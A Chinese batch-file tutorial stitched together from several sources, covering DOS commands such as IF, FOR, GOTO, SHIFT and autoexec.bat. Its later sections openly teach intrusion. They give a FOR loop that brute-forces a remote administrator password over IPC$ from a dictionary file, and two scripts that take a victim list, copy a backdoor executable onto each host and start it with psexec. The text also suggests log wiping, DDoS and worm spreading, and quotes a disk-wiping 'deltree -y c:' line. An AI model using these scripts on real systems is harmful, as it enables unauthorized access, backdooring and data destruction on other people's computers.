@ECHO OFF

GOTO SECOND

:FIRST

REM I AM FIRST

:SECOND

REM I AM SECOND

執行結果如下:

REM I AM SECOND

IF 內部命令、批處理文件命令 1 .功能: 使 DOS 可以有條件地執行命令。

2 .格式: IF[not] errorlevel number command

IF[not] [string1]==[string2] command

IF[not] exist filename.ext command

3 .說明: ①、 [not] 參數:是一個可選擇使用的條目,使用時會將其後麪條件的結果再求一個相反的結果。

②、 errorlevel number:errorlevel DOS 產生出來的一個退出碼。如果退出碼大於或等於 number( 指定一個十進制值 ) ,則此條件成立,系統即可執行後面指定的 command

注意:測試退出碼時要由大到小來測試,因爲退出碼只要測到大於或等於指定的值時,該條件即成立。

③、 [string1]==[string2] string1 string2 皆爲字符的數據,英文字母的大小寫將視爲不同。當 [string1] [string2] 內容完全相同時,則此條件成立,並執行後面指定的 command 。此條件中的等號 (=) 必須要有兩個。

④、 exist filename.ext :如果指定的文件存在時,則所得的結果爲“真”,否則爲“假”。若爲真,則系統即執行後面指定的 command

⑤、 IF 命令爲一個分支命令。 condition 是一個條件, command 是根據條件成立時纔去執行的命令。若不成立時則往下繼續執行次一個批處理文件命令。

⑥、 IF errorlevel 主要是用於配合自己的程序,並於執行完畢後設置一個錯誤代碼 (errorcode) ,以便與 IF errorlevel 命令一起使用。

4 .範例: REM 範例:

@ECHO OFF MYPROG1

IF ERRORLEVEL 2 GOTO 2

IF ERRORLEVEL 1 GOTO 1

GOTO EXTI

:L1

ECHO DATA ERROR

GOTO EXIT

:L2

ECHO PROGRAM CANCEL

:EXIT

上例中 MYPROG1 爲一程序,在執行時如果發生退出碼時,則表示該程序未執行成功。

REM 範例:②

@ECHO OFF

IF "%1"=="" GOTO EXIT

IF %1==1 GOTO L1

IF %1==2 GOTO L2

GOTO EXIT

:L1

ECHO I AM L1

GOTO EXIT

:L2

ECHO I AM L2

:EXIT

本例中, ""( 空字符串 ) 1 2 是指定要與 %1 參數比較訴字符串。

REM 範例:③

@ECHO OFF

IF NOT EXIST PE2.EXE GOTO EXIT

PE2

GOTO END

:EXIT

ECHO PE2.EXE NOT FOUND!

:END

本例中,先檢查 PE2.EXE 文件是否存在,不存在時則顯示一個找不到的信息後結束。如果找到時則執行該程序後結束。

PAUSE 內部命令、批處理文件命令 1 .功能: 暫時停止系統命令的執行並顯示下列信息:

strike a eky when ready......

2 .格式: PAUSE

3 .說明: ①、 PAUSE 命令可以在 DOS 執行一個命令時暫停,使您有機會來更換盤片。按下任何一個鍵後,即可讓 DOS 繼續執行下一個命令。

②、執行 PAUSE 命令時,系統會暫停;如果您要終止執行此批處理文件,則您可按下 Ctrl+Break 二鍵,接頭按下 Y ,即可終止執行,但如果於此時按下 N ,則系統將繼續執行其它命令。

4 .範例: PAUSE1.BAT 文件,內容如下:

@ECHO OFF

@ECHO I am first

PAUSE

@ECHO ON

@ECHO I am second

@ECHO Please put a new diskette into drive A

PAUSE

則其執行結果如下所示:

A:/>PAUSE1

I am first

strike any key when ready...

I am second

Please put a new diskette into drive A

strike any key when ready...

REM 批處理文件命令、配置文件命令 1 .功能: 可以在配置文件 (CONFIG.SYS) 或批處理文件 (.BAT) 中加上註解說明。

2 .格式: REM [comment]

3 .說明: ①、 [comment] 參數:表示註解行,不會被當作命令執行。

②、您可在配置文件或批處理文件中將命令的功能註解加註在其中,以供日後引用。

③、 CONFIG.SYS 文件中的 REM 與在批處理文件中 REM ,皆可爲註解的命令行。但是在批處理文件中, REM 會被顯示出來,而在 CONFIG.SYS REM 命令行在起動 DOS 時並不會被顯示出來。

4 .範例: REM this is a sample CONFIG.SYS FOR DBASE 3

FILES=25

BUFFERS=20

SHIFT 內部命令、批處理文件命令 1 .功能: 使得 DOS 命令行上可以使用超過 10 (%0 %9) 以上的可替代參數。

格式 SHIFT

3 .說明 1 .可替代參數的編號是 %0--%9 ,如果要在一個命令行使用超過 10 個可以被代換的參數,則您可使用 SHIFT 命令來突破此限制。

2 .每當執行 SHIFT 一次,所有命令行上的所有參數將向左移動一位。 %1 的內容將爲 %2 的內容所取代 ... %9 內容則由新的參數遞補。

3 %0 表示批處理文件本身的名稱,永遠不變,所以每次執行時您可以加上 9 個參數在批處理文件名後。若要增加一個參數,則您將需要使用這個 SHIFT 命令來移位,纔可取得第十個參數。

4 .範例 1 SHIFT.BAT 文件,內容如下:

@ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

SHIFT

@ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

SHIFT

@ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

2 .執行結果如下:

A:/>SHIFT 1 1 2 3 4 5 6 7 8 9 10 11( 先後跟隨 11 個參數 )

1 2 3 4 5 6 7 8 9 ( 取最前面 9 個參數)

A:/>SHIFT ( 移位 )

2 3 4 5 6 7 8 9 10 ( 取另外 9 個參數 )

A:/>SHIFT ( 移動 )

批處理文件從入門到精通

批處理文件是由一個或一個以上的 DOS 命令及可執行命令組成的帶有擴展名. BAT 的文件。當用戶以批處理文件名爲命令時, DOS 會自動依次執行文件中的命令。批處理文件的特點是一次建立可多次執行。

在批處理文件中有一個特殊的批處理文件,每次啓動計算機時,系統自動執行該文件中的每一條命令。該文件必須滿足兩個條件:一是文件名爲 AUTOEXEC BAT ,二是該文件的位置必須放在啓動盤(也可稱爲系統盤)的根目錄下。

在批處理文件中除了使用 DOS 命令之外,還可使用批處理子命令,這些命令也可看作 DOS 的內部命令,它們是:

1 ECHO-- 顯示方式設置;其中 ECHO ON 是使以後的命令在執行前先顯示, ECHO OFF 是使以後的命令在執行前不顯示, ECHO MASSAGE 是不論 ECHO 的狀態爲 ON OFF ,都顯示 MESSAGE 所指定的信息。

2 REM-- 註釋命令。

3 PAUSE-- 暫停系統處理,系統顯示 Press any key to continue …,等待用戶按任意一個鍵後繼續執行。

4 GOTO-- 轉向子命令。

5 IF-- 條件子命令。

6 FOR-- 循環子命令。

7 SHIFT-- 改變參數的位置。

 

電腦每次啓動時都會尋找 autoexec.bat 這條批處理文件,從而可執行一些每次開機都要執行的命令,如設置路徑 path 、加載鼠標驅動 mouse 、磁盤加速 smartdrv 等,可以使您的電腦真正自動化。

 

   echo @ call pause rem  是批處理文件最常用的幾個命令,我們就從他們開始學起。 echo 表示顯示此命令後的字符

echo off 表示在此語句後所有運行的命令都不顯示命令行本身

@ echo off 相象,但它是加在其它命令行的最前面,表示運行時不顯示命令行本身。

call 調用另一條批處理文件(如果直接調用別的批處理文件 ,執行完那條文件後將無法執行當前文件後續命令)

pause 運行此句會暫停,顯示 Press any key to continue... 等待用戶按任意鍵後繼續

rem 表示此命令後的字符爲解釋行,不執行,只是給自己今後查找用的

  例:用 edit 編輯 a.bat 文件,輸入下列內容後存盤爲 c:/a.bat ,執行該批處理文件後可實現:將根目錄中所有文件寫入 a.txt 中,啓動 UCDOS ,進入 WPS 等功能。

  批處理文件的內容爲 :         文件表示:

     echo off             不顯示命令行

     dir c:/*.* >a.txt        將 c 盤文件列表寫入 a.txt

     call c:/ucdos/ucdos.bat     調用 ucdos

     echo 你好            顯示 " 你好 "

     pause              暫停 , 等待按鍵繼續

     rem 使用 wps           註釋將使用 wps

     cd ucdos             進入 ucdos 目錄

     wps               使用 wps   

  批處理文件中還可以像 C 語言一樣使用參數,這隻需用到一個參數表示符 %

   % 表示參數,參數是指在運行批處理文件時在文件名後加的字符串。變量可以從 %0 %9 %0 表示文件名本身,字符串用 %1 %9 順序表示。

  例如, C :根目錄下一批處理文件名爲 f.bat ,內容爲 format %1

  則如果執行 C:/>f a:    則實際執行的是 format a:

  又如 C :根目錄下一批處理文件的名爲 t.bat ,內容爲 type %1 type %2

  那麼運行 C:/>t a.txt b.txt 將順序地顯示 a.txt b.txt 文件的內容

 

   if goto choice for  是批處理文件中比較高級的命令,如果這幾個你用得很熟練,你就是批處理文件的專家啦。

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式 :

1 if " 參數 " == " 字符串 "  待執行的命令

參數如果等於指定的字符串,則條件成立,運行命令,否則運行下一句。 ( 注意是兩個等號)

if "%1"=="a" format a:

2 if exist 文件名  待執行的命令

如果有指定的文件,則條件成立,運行命令,否則運行下一句。如 if exist config.sys edit config.sys

3 if errorlevel 數字  待執行的命令

如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。如 if errorlevel 2 goto x2   DOS 程序運行時都會返回一個數字給 DOS ,稱爲錯誤碼 errorlevel 或稱返回碼

goto 批處理文件運行到這裏將跳到 goto 所指定的標號處, 一般與 if 配合使用。 :

goto end

:end

echo this is the end

標號用 : 字符串 表示,標號所在行不被執行

choice 使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加 /c: 參數, c: 後應寫提示可輸入的字符,之間無空格。它的返回碼爲 1234 ……

: choice /c:dme defrag,mem,end

將顯示

defrag,mem,end[D,M,E]?

例如, test.bat 的內容如下 :

@echo off

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag 應先判斷數值最高的錯誤碼

if errorlevel 2 goto mem

if errotlevel 1 goto end

:defrag

c:/dos/defrag

goto end

:mem

mem

goto end

:end

echo good bye

此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇 d m e ,然後 if 語句將作出判斷, d 表示執行標號爲 defrag 的程序段, m 表示執行標號爲 mem 的程序段, e 表示執行標號爲 end 的程序段,每個程序段最後都以 goto end 將程序跳到 end 標號處,然後程序將顯示 good bye ,文件結束。

for 循環命令,只要條件符合,它將多次執行同一命令。

格式 FOR [%%f] in ( 集合 ) DO [ 命令 ]

只要參數 f 在指定的集合內,則條件成立,執行命令

如果一條批處理文件中有一行 :

for %%c in (*.bat *.txt) do type %%c

含義是如果是以 bat txt 結尾的文件,則顯示文件的內容。

 

   DOS 在啓動會自動運行 autoexec.bat 這條文件,一般我們在裏面裝載每次必用的程序,如 : path( 設置路徑 ) smartdrv( 磁盤加速 ) mouse( 鼠標啓動 ) mscdex( 光驅連接 ) doskey( 鍵盤管理 ) set( 設置環境變量 ) 等。

  如果啓動盤根目錄中沒有這個文件,電腦會讓用戶輸入日期和時間。

  例如,一個典型的 autoexec.bat 內容如下 :

@echo off                      不顯示命令行

prompt $p$g                     設置提示符前有目錄提示

path c:/dos;c:/;c:/windows;c:/ucdos;c:/tools     設置路徑

lh c:/dos/doskey.com                加載鍵盤管理

lh c:/mouse/mouse.com                加載鼠標管理

lh c:/dos/smartdrv.exe               加載磁盤加速管理

lh c:/dos/mscdex /S /D:MSCD000 /M:12 /V       加載 CD-ROM 驅動

set temp=c:/temp                  設置臨時目錄

一些危險的命令會被某些有心人寫進批處理文件中去,在網上四處傳播搞破壞,例如在 .bat 中寫進:

   deltree -y c:

  接下來的事情就是你趕緊拿條手巾擦眼淚吧。從這個意義上說它比病毒還要惡毒。

  類似的,在 .hlp (幫助文件)、 .pif (指向 DOS 的快捷方式)、 .lnk WINDOWS 快捷方式)這些文件中也可以寫入危險的命令,如果不小心執行了那就危險了。防範以上調用 DOS 命令進行破壞的文件,被動的做法是通過將 format deltree 這類命令改名換姓。

 

( ) 應用 DOS 重定向功能

DOS 的標準輸入輸出通常是在標準設備鍵盤和顯示器上進行的 , 利用重定向 , 可以方便地將輸入輸出改向磁盤文件或其它設備。如在批處理命令執行期間爲了禁止命令或程序執行後輸出信息而擾亂屏幕 , 可用 DOS 重定向功能把輸出改向 NUL 設備 (NUL 不指向任何實際設備 ): C:/>COPY A.TXT B.TXT > NUL

命令執行結束不顯示 "1 file(s) copied" 的信息。有的交互程序在執行時要求很多鍵盤輸入 , 但有時輸入是固定不變的 , 爲加快運行速度 , 可預先建立一個輸入文件 , 此文件的內容爲程序的鍵盤輸入項 , 每個輸入項佔一行。假如有一個程序 ZB, 其輸入項全部包括在文件 IN.DAT , 執行 C:/>ZB NUL 程序就自動執行。

( ) 應用 DOS 管道功能

DOS 的管道功能是使一個程序或命令的標準輸出用做另一個程序或命令的標準輸入。如把 DEBUG 的輸入命令寫入文件 AAA, TYPE 命令通過管道功能將 AAA 的內容傳輸給 DEBUG, DEBUG 執行期間不再從控制檯索取命令參數 , 從而提高了機器效率。命令爲 : C:/>TYPE AAA|DEBUG >BBB

( ) 子程序

在一個批處理文件可用 CALL 命令調用另一個子批處理文件 , 當子批文件執行結束後 , 自動返回父批文件 , 繼續向下執行。如 : A.BAT B.BAT A 調用 B,A.BAT 內容如下:

@ECHO OFF

CALL B

CD /BASIC

BASICA BG

@ECHO ON

( ) 菜單選擇功能

DOS 功能調用 31H 4CH 所提供的一字節的返回碼 , 通過批處理子命令 IF ERRORLEVEL 對返回碼進行處理 , 可達到自動執行一批命令的目的。在批處理文件中實現高級語言所有的菜單提示功能 , 使批處理文件變得更靈活方便。先用 DEBUG 建立一個菜單驅動程序 MENU.COM, 對應地編寫一個批處理文件 LG.BAT 。具體內容和方法見下表 :

DEBUG

-A

-166C:0100 MOV DX,111

-166C:0103 MOV AH,09

-166C:0105 INT 21

-166C:0107 MOV AH,01

-166C:0109 INT 21

-166C:010B MOV AH,4C

-166C:010D INT 21

-166C:010F INT 20

-166C:0111 DB "******************************"0D 0A

-166C:0131 DB "* 1.Turbo Pascal 5.00 *"0D 0A

-166C:0151 DB "* 2.Turbo Basci 1.00 *"0D 0A

-166C:0171 DB "* 3.Turbo Prolog 2.00 *"0D 0A

-166C:0191 DB "* 4.Turbo C 2.00 *"0D 0A

-166C:01B1 DB "* 0.Exit *"0D 0A

-166C:01B1 DB "******************************"0D 0A

-166C:01F1 DB "Your choice(0..4) : "24 0D 0A 1A

-166C:0209

-R CX

CX 0000

:108

-N MENU.COM

-W

Writing 0108 bytes

-Q

@ECHO OFF:

START

CLS

MENU

IF ERRORLEVEL 52 GOTO C

IF ERRORLEVEL 51 GOTO PRO

IF ERRORLEVEL 50 GOTO BAS

IF ERRORLEVEL 49 GOTO PAS

IF ERRORLEVEL 48 GOTO EX

CLS

GOTO START

AS

CD /TP5.00

TURBO

CD /

GOTO START

:BAS

CD /TB

TB

CD /

GOTO START

RO

CD /TPROLOG

PROLOG

CD /

GOTO START

:C

CD /TURBOC

TC

CD /

GOTO START

:EX

@ECHO ON

 

執行 LG, 屏幕左上角出現一個菜單 , 並提示用戶輸入選擇 , 當選擇的功能執行結束 , 重新返回主菜單請求選擇 , 直到選擇 "0" 號功能 , 程序結束返回 DOS

( ) 應用命令處理程序完成大量重複工作

DOS 提供調用次級命令程序的方法 , 可實現與子程序等效的功能 , MS DOS3.3 以前的 DOS 版本下非常有用。如你有一批 FORTRAN 源程序需要編譯 , 首先編寫兩個批文件 MAKEOBJ.BAT C.BAT, 然後執行 MAKEOBJ, 即可把當前目錄下的所有擴展名爲 .FOR FORTRAN 源程序編譯成 OBJ 文件。這種方法迅速正確 , 人機交互少 , 減輕了程序員的的大量勞動。

MAKEOBJ.BAT C.BAT

@ECHO OFF

ECHO COMPILE FORTRAN PROGRAMS.

FOR %%A IN (*.FOR) DO COMMAND /C C %%A

ECHO FINISH !

@ECHO ON @ECHO OFF

ECHO ------ COMPILE %1 ------

FOR1 %1; >NUL

FOR2 >NUL

@ECHO ON

 

批處理詳細教程

最近對於批處理技術的探討比較熱,也有不少好的批處理程序發佈,但是如果沒有一定的相關知識恐怕不容易看懂和理解這些批處理文件,也就更談不上自己動手編寫了,古語云:“授人以魚,不如授人以漁。”因爲網上好像並沒有一個比較完整的教材 , 所以抽一點時間寫了這片 << 簡明批處理教程 > > 給新手朋友們 . 也獻給所有爲實現網絡的自由與共享而努力的朋友們 .

批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴展名爲 .bat .cmd 。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用 Cmd.exe 按照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件(也被稱爲批處理程序或腳本),可以簡化日常或重複性任務。當然我們的這個版本的主要內容是介紹批處理在入侵中一些實際運用,例如我們後面要提到的用批處理文件來給系統打補丁、批量植入後門程序等。下面就開始我們批處理學習之旅吧。

批處理詳細教程(一)

簡單批處理內部命令簡介

1.Echo 命令

打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數, echo 命令將顯示當前回顯設置。

語法

echo [{on|off}] [message]

Sample @echo off / echo hello world

在實際應用中我們會把這條命令和重定向符號(也稱爲管道符號,一般用 > >> ^ )結合來實現輸入一些命令到特定格式的文件中 . 這將在以後的例子中體現出來。

2.@ 命令

表示不顯示 @ 後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能讓對方看到你使用的命令啦。

Sample @echo off

@echo Now initializing the program,please wait a minite...

@format X: /q/u/autoset (format 這個命令是不可以使用 /y 這個參數的,可喜的是微軟留了個 autoset 這個參數給我們,效果和 /y 是一樣的。 )

3.Goto 命令

指定跳轉到標籤,找到標籤後,程序將處理從下一行開始的命令。

語法: goto label label 是參數,指定所要轉向的批處理程序中的行。)

Sample

if {%1}=={} goto noparms

if {%2}=={} goto noparms (如果這裏的 if %1 %2 你不明白的話,先跳過去,後面會有詳細的解釋。)

@Rem check parameters if null show usage

:noparms

echo Usage: monitor.bat ServerIP PortNumber

goto end

標籤的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標籤, goto 命令就是根據這個:來尋找下一步跳到到那裏。最好有一些說明這樣你別人看起來纔會理解你的意圖啊。

4.Rem 命令

註釋命令,在 C 語言中相當與 /*--------*/, 它並不會被執行,只是起一個註釋的作用,便於別人閱讀和你自己日後修改。

Rem Message

Sample @Rem Here is the description.

5.Pause 命令

運行 Pause 命令時,將顯示下面的消息:

Press any key to continue . . .

Sample

@echo off

:begin

copy a:*.* d /back

echo Please put a new disk into driver A

pause

goto begin

在這個例子中,驅動器 A 中磁盤上的所有文件均複製到 d:/back 中。顯示的註釋提示您將另一張磁盤放入驅動器 A 時, pause 命令會使程序掛起,以便您更換磁盤,然後按任意鍵繼續處理。

6.Call 命令

從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。 call 命令接受用作調用目標的標籤。如果在腳本或批處理文件外使用 Call ,它將不會在命令行起作用。

語法

call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

參數

[Drive:}[Path] FileName

指定要調用的批處理程序的位置和名稱。 filename 參數必須具有 .bat .cmd 擴展名。

7.start 命令

調用外部程序,所有的 DOS 命令和命令行程序都可以由 start 命令來調用。

入侵常用參數:

MIN 開始時窗口最小化

SEPARATE 在分開的空間內開始 16 Windows 程序

HIGH HIGH 優先級類別開始應用程序

REALTIME REALTIME 優先級類別開始應用程序

WAIT 啓動應用程序並等候它結束

parameters 這些爲傳送到命令 / 程序的參數

執行的應用程序是 32- GUI 應用程序時, CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行爲則不會發生。

8.choice 命令

choice 使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加 /c: 參數, c: 後應寫提示可輸入的字符,之間無空格。它的返回碼爲 1234 ……

: choice /c:dme defrag,mem,end

將顯示

defrag,mem,end[D,M,E]?

Sample

Sample.bat 的內容如下 :

@echo off

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)

if errorlevel 2 goto mem

if errotlevel 1 goto end

:defrag

c:/dos/defrag

goto end

:mem

mem

goto end

:end

echo good bye

此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇 d m e ,然後 if 語句將作出判斷, d 表示執行標號爲 defrag 的程序段, m 表示執行標號爲 mem 的程序段, e 表示執行標號爲 end 的程序段,每個程序段最後都以 goto end 將程序跳到 end 標號處,然後程序將顯示 good bye ,文件結束。

批處理詳細教程(二)

9.If 命令

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式 :

1 if " 參數 " == " 字符串 "  待執行的命令

參數如果等於指定的字符串,則條件成立,運行命令,否則運行下一句。 ( 注意是兩個等號)

if "%1"=="a" format a:

if {%1}=={} goto noparms

if {%2}=={} goto noparms

2 if exist 文件名  待執行的命令

如果有指定的文件,則條件成立,運行命令,否則運行下一句。

if exist config.sys edit config.sys

3 if errorlevel / if not errorlevel 數字  待執行的命令

如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。

if errorlevel 2 goto x2  

DOS 程序運行時都會返回一個數字給 DOS ,稱爲錯誤碼 errorlevel 或稱返回碼,常見的返回碼爲 0 1

10.for 命令

for 命令是一個比較複雜的命令,主要用於參數在指定的範圍內循環執行命令。

在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]

%variable 指定一個單一字母可替換的參數。

(set) 指定一個或一組文件。可以使用通配符。

command 指定對每個文件執行的命令。

command-parameters 爲特定命令指定參數或命令行開關。

在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable

而不要用 %variable 。變量名稱是區分大小寫的,所以 %i 不同於 %I

如果命令擴展名被啓用,下列額外的 FOR 命令格式會受到

支持 :

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件

名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

檢查以 [drive:]path 爲根的目錄樹,指向每個目錄中的

FOR 語句。如果在 /R 後沒有指定目錄,則使用當前

目錄。如果集僅爲一個單點 (.) 字符,則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-para

該集表示以增量形式從開始到結束的一個數字序列。

因此, (1,1,5) 將產生序列 1 2 3 4 5 (5,-1,1) 將產生

序列 (5 4 3 2 1)

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (command) DO command

或者,如果有 usebackq 選項 :

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (command) DO command

filenameset 爲一個或多個文件名。繼續到 filenameset 中的

下一個文件之前,每份文件都已被打開、讀取並經過處理。

處理包括讀取文件,將其分成一行行的文字,然後將每行

解析成零或更多的符號。然後用已找到的符號字符串變量值

調用 For 循環。以默認方式, /F 通過每個文件的每一行中分開

的第一個空白符號。跳過空白行。您可通過指定可選 "options"

參數替代默認解析操作。這個帶引號的字符串包括一個或多個

指定不同解析選項的關鍵字。這些關鍵字爲 :

eol=c - 指一個行註釋字符的結尾 ( 就一個 )

skip=n - 指在文件開始時忽略的行數。

delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的

默認分隔符集。

tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代

for 本身。這會導致額外變量名稱的

格式爲一個範圍。通過 nth 符號指定 m

符號字符串中的最後一個字符星號,

那麼額外的變量將在最後一個符號解析之

分配並接受行的保留文本。

usebackq - 指定新語法已在下類情況中使用 :

在作爲命令執行一個後引號的字符串並且

引號字符爲文字字符串命令並允許在 fi

中使用雙引號擴起文件名稱。

sample1:

FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將

每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和 /

空格定界符號。請注意,這個 for 程序體的語句引用 %i

取得第二個符號,引用 %j 來取得第三個符號,引用 %k

來取得第三個符號後的所有剩餘符號。對於帶有空格的文件

名,您需要用雙引號將文件名括起來。爲了用這種方式來使

用雙引號,您還需要使用 usebackq 選項,否則,雙引號會

被理解成是用作定義某個要分析的字符串的。

%i 專門在 for 語句中得到說明, %j %k 是通過

tokens= 選項專門得到說明的。您可以通過 tokens= 一行

指定最多 26 個符號,只要不試圖說明一個高於字母 z

Z 的變量。請記住, FOR 變量是單一字母、分大小寫和全局的;

同時不能有 52 個以上都在使用中。

您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,

用單引號將括號之間的 filenameset 括起來。這樣,該字符

串會被當作一個文件中的一個單一輸入行。

最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將

括號之間的 filenameset 變成一個反括字符串。該字符串會

被當作命令行,傳遞到一個子 CMD.EXE ,其輸出會被抓進

內存,並被當作文件分析。因此,以下例子 :

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變量名稱。

另外, FOR 變量參照的替換已被增強。您現在可以使用下列

選項語法 :

~I - 刪除任何引號 (") ,擴充 %I

%~fI - %I 擴充到一個完全合格的路徑名

%~dI - 僅將 %I 擴充到一個驅動器號

%~pI - 僅將 %I 擴充到一個路徑

%~nI - 僅將 %I 擴充到一個文件名

%~xI - 僅將 %I 擴充到一個文件擴展名

%~sI - 擴充的路徑只含有短名

%~aI - %I 擴充到文件的文件屬性

%~tI - %I 擴充到文件的日期 / 時間

%~zI - %I 擴充到文件的大小

%~$PATH:I - 查找列在路徑環境變量的目錄,並將 %I 擴充

到找到的第一個完全合格的名稱。如果環境變量

未被定義,或者沒有找到文件,此組合鍵會擴充

空字符串

可以組合修飾符來得到多重結果 :

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑

%~nxI - 僅將 %I 擴充到一個文件名和擴展名

%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名

%~dp$PATH:i - 查找列在路徑環境變量的目錄,並將 %I 擴充

到找到的第一個驅動器號和路徑。

%~ftzaI - %I 擴充到類似輸出線路的 DIR

在以上例子中, %I PATH 可用其他有效數值代替。 %~ 語法

用一個有效的 FOR 變量名終止。選取類似 %I 的大寫變量名

比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是 MS 的官方幫助,下面我們舉幾個例子來具體說明一下 For 命令在入侵中的用途。

sample2

利用 For 命令來實現對一臺目標 Win2k 主機的暴力密碼破解。

我們用 net use //ip/ipc$ "password" /u:"administrator" 來嘗試這和目標主機進行連接,當成功時記下密碼。

最主要的命令是一條: for /f i% in (dict.txt) do net use //ip/ipc$ "i%" /u:"administrator"

i% 來表示 admin 的密碼,在 dict.txt 中這個取 i% 的值用 net use 命令來連接。然後將程序運行結果傳遞給 find 命令--

for /f i%% in (dict.txt) do net use //ip/ipc$ "i%%" /u:"administrator"|find ": 命令成功完成 ">>D:/ok.txt ,這樣就 ko 了。

sample3

你有沒有過手裏有大量肉雞等着你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很鬱悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重複性任務。那麼如何實現呢?呵呵,看下去你就會明白了。

主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變量使用 %%variable

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

tokens 的用法請參見上面的 sample1 ,在這裏它表示按順序將 victim.txt 中的內容傳遞給 door.bat 中的參數 %i %j %k

cultivate.bat 無非就是用 net use 命令來建立 IPC$ 連接,並 copy 木馬+後門到 victim ,然後用返回碼( If errorlever = )來篩選成功種植後門的主機,並 echo 出來,或者 echo 到指定的文件。

delims= 表示 vivtim.txt 中的內容是一空格來分隔的。我想看到這裏你也一定明白這 victim.txt 裏的內容是什麼樣的了。應該根據 %%i %%j %%k 表示的對象來排列,一般就是 ip password username

代碼雛形:

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

@echo off

@if "%1"=="" goto usage

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.

:end

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------

@net use //%1/ipc$ %3 /u:"%2"

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection …………OK

@copy windrv32.exe//%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

@psexec //%1 c:/winnt/system32/windrv32.exe

@psexec //%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

:failed

@echo Sorry can not connected to the victim.

----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------

這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序( Windrv32.exe ,PSexec.exe 需放在統一目錄下 . 批處理內容

尚可擴展 , 例如 : 加入清除日誌 +DDOS 的功能 , 加入定時添加用戶的功能 , 更深入一點可以使之具備自動傳播功能 ( 蠕蟲 ). 此處不多做敘述 , 有興趣的朋友可自行研究 .

批處理詳細教程(三)

No.2

. 如何在批處理文件中使用參數

批處理中可以使用參數,一般從 1% 9% 這九個,當有多個參數時需要用 shift 來移動,這種情況並不多見,我們就不考慮它了。

sample1 fomat.bat

@echo off

if "%1"=="a" format a:

:format

@format a:/q/u/auotset

@echo please insert another disk to driver A.

@pause

@goto fomat

這個例子用於連續地格式化幾張軟盤,所以用的時候需在 dos 窗口輸入 fomat.bat a ,呵呵 , 好像有點畫蛇添足了~ ^_^

sample2

當我們要建立一個 IPC$ 連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令寫入一個批處理,把肉雞地 ip password username 當着參數來賦給這個批處理,這樣就不用每次都打命令了。

@echo off

@net use //1%/ipc$ "2%" /u:"3%" 注意哦,這裏 PASSWORD 是第二個參數。

@if errorlevel 1 echo connection failed

怎麼樣 , 使用參數還是比較簡單的吧?你這麼帥一定學會了 ^_^.No.3

. 如何使用組合命令 (Compound Command)

1.&

Usage :第一條命令 & 第二條命令 [& 第三條命令 ...]

用這種方法可以同時執行多條命令,而不管命令是否執行成功

Sample

C:/>dir z: & dir c:/Ex4rch

The system cannot find the path specified.

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:/Ex4rch

2002-05-14 23:51 <DIR> .

2002-05-14 23:51 <DIR> ..

2002-05-14 23:51 14 sometips.gif

2.&&

Usage :第一條命令 && 第二條命令 [&& 第三條命令 ...]

用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;

Sample

